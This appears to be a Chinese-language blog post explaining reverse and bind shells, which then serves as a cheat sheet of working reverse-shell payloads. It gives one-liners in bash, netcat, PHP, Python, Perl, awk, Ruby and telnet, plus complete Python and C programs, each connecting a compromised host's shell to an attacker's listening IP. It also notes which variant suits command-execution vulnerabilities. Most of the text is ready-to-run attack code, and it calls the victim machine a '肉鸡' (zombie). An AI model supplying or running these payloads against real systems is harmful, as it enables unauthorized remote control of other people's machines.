发布于 

反弹Shell操作

1. 反弹Shell分类

  • 交互式
    • 在终端上执行,shell等待你的输入,并且立即执行你提交的命令。(正常Linux操作)
  • 非交互式
    • shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就结束了。(菜刀、蚁剑获取的虚拟终端就是一种典型的非交互式shell)

2. 正向与反弹Shell的区别

2.1 正向连接

正向连接情况是目标主机有公网IP,能直接被外网访问,攻击者可以直接访问目标机器

服务器端:监听TCP/UDP端口,把本地Bash授权给该端口,等待攻击端连接

攻击端:访问服务器端监听的TCP/UDP端口,直接建立与服务器端的会话连接,拿到服务器Bash输入命令

2.2 反向连接(反弹Shell)

目标主机位于内网环境下,不能直接被外网访问,只能主动将Shell反弹出来

攻击端:监听TCP/UDP 端口,等待肉鸡连接

服务器端:访问攻击端监听的TCP/UDP 端口,建立该攻击端端口的会话连接,将自身的Bash给攻击端,通过攻击端实现服务器端输入

3. 正向与反弹的流程

3.1 正向连接

3.1.1 服务器端口监听,发布本地Bash

ncnetcat 的简写,可以实现任意TCP/UDP 端口的侦听(如果nc 没有-e 权限,就安装netcat 是完整版)
-l 监听模式 ,用于入站连接
-v 详细输出 –用两个-v可得到更详细的内容
-p 本地端口号

使用NC工具在目标机器开启端口进行监听,并将本地的bash发布出去。

1
nc -lvvp 9999 -e /bin/bash 

被连接上等待攻击端输入,并且只会打印连接结果不会显示过错内容

3.1.2 攻击端直接访问目标端口

攻击端直接访问目标端口,即可拿到权限,输入exit退出控制。

1
nc 192.168.186.130 9999

直接通过交互式方法拿到命令结果

3.2 反弹Shell

3.2.1 攻击机器开启端口监听

1
nc -lvnp 9999

监听端口,等待攻击机连接

3.2.2 服务器将本地Bash给攻击机

1
nc -e /bin/bash 192.168.186.134 9999

image-20220921165316077

4. 反弹Shell方式

4.1 Bash反弹(系统后门)

4.1.1 攻击端

1
nc -lvnp 9999

image-20220921180109037

4.1.2 服务器

1
2
bash -i >& /dev/tcp/192.168.186.134/9999 0>&1
# -i 本地打开一个bash

image-20220921180150555

4.2 NC反弹(NC后门)

4.2.1 攻击端

1
nc -lvp 7777

4.2.2 服务器

1
nc -e /bin/bash 192.168.0.4 7777

4.3 Python反弹

4.3.1 服务器端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
import os

link = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
link.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
link.bind(('0.0.0.0', 8081))
link.listen(5)
print("start to listen...")

con, host = link.accept()
print("host is " + str(host))
while True:
command = con.recv(1024)
res = os.popen(command.decode())
con.send(res.read().encode())
con.close()
link.close()

image-20220921190142739

4.3.2 攻击端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from cmath import rect
import socket
if __name__ == "__main__":
a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
a.connect(('192.168.186.130', 8081))

while True:
command = input('> ')
if command == "exit":
break
a.send(command.encode())
recv = a.recv(1024)
print(recv.decode())
a.close()

image-20220921190158650

4.4 花式反弹

4.4.1 bash反弹

1
2
/bin/bash >& /dev/tcp/192.168.0.103/6666 0>&1
bash -c 'bash -i >& /dev/tcp/192.168.0.103/6666 0>&1' #命令执行漏洞常用

4.4.2 php反弹

1
php -r '$sock=fsockopen("192.168.0.103",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

4.4.3 rm反弹 q

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 6666  >/tmp/f

4.4.4 python反弹

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.103",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4.4.5 perl反弹

1
perl -e 'use Socket;$i="192.168.0.103";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.103:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

4.4.6 awk反弹

1
awk 'BEGIN{s="/inet/tcp/0/192.168.0.103/6666";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

4.4.7 exec反弹

1
0<&196;exec 196<>/dev/tcp/192.168.0.103/6666; sh <&196 >&196 2>&196

4.4.8 telnet反弹

1
telnet 192.168.0.103 6666 | /bin/bash | telnet 192.168.0.103 7777 #6666输入 7777显示
1
mknod test p && telnet 192.168.0.103  6666 0<test | /bin/bash 1>test

4.4.9 ruby反弹

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.103","6666");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

4.4.10 C语言反弹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
char shell[]="/bin/sh";
char message[]="hacker welcome\n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
printf("Usage: %s <reflect ip> <port>n", prog);
exit(-1);
}
# gcc cshell.c -o cshell && ./cshell 192.168.0.103 6666